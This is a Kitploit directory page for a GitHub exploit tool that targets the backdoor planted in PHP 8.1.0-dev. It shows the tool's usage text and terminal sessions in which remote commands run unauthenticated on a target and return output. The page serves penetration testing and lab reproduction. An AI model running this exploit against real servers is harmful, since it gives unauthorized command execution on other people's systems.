Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
PHP-8.1.0-dev_WebShell-RCE — PHP 8.1.0-dev WebShell Remote Code Execution | Kitploit
Tools/GitHubGitHub/coldfusionx/php-8.1.0-dev_webshell-rce
ExploitationWeb Application ExploitationPenetration TestingRemote Access ToolPayload Development
GitHubcoldfusionx/php-8.1.0-dev_webshell-rce

PHP-8.1.0-dev_WebShell-RCE

PHP 8.1.0-dev WebShell Remote Code Execution

View Repository

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
315 years agoNot yet reviewed

PHP 8.1.0-dev WebShell RCE (Unauthenticated)

Exploit Code for PHP 8.1.0-dev WebShell RCE (Unauthenticated)

Expected outcome: Exploiting backdoor installed on PHP 8.1.0-dev server thereby obtaining WebShell to execute commands remotely.

Intended only for educational and testing in corporate environments.

This Exploit was tested on Python 3.8.6

Usage:

root@kitploit:~
cfx:  ~/Documents/
→ ./exploit.py -h
usage: exploit.py [-h] [-l URL]

PHP 8.1.0-dev WebShell RCE by ColdFusionX

optional arguments:
  -h, --help         show this help message and exit
  -l URL, --url URL  PHP 8.1.0-dev Target URL(Example: http://127.0.0.1)

Exploit Usage : 
./exploit.py -l http://127.0.0.1
[^] WebShell=- id
OR
[^] WebShell=- whoami

User Inputs :

This exploit expects single arguments to run initially :

  • -l : PHP 8.1.0-dev Target URL

POC

  • Scenario 1 : Valid Vulnerable target
root@kitploit:~
cfx:  ~/Documents/
→ ./exploit.py -l http://127.0.0.1

[+] PHP 8.1.0-dev WebShell RCE by ColdFusionX 
 
Target is running on PHP 8.1.0-dev

*Shoot your commands below* 

[^] WebShell=- id

uid=1000(cfx) gid=1000(cfx) groups=1000(cfx)

[^] WebShell=- hostname

shockwave

[^] WebShell=- ^C
Exiting.
  • Scenario 2 : Invalid Target
root@kitploit:~
cfx:  ~/Documents/
→ ./exploit.py -l http://127.0.0.1

[+] PHP 8.1.0-dev WebShell RCE by ColdFusionX 
 
Invalid URL or Target Not Vulnerable

Reference

  • https://github.com/vulhub/vulhub/tree/master/php/8.1-backdoor
  • https://news-web.php.net/php.internals/113838
  • https://github.com/php/php-src/commit/c730aa26bd52829a49f2ad284b181b7e82a68d7d
  • https://github.com/php/php-src/commit/2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a
Download Tool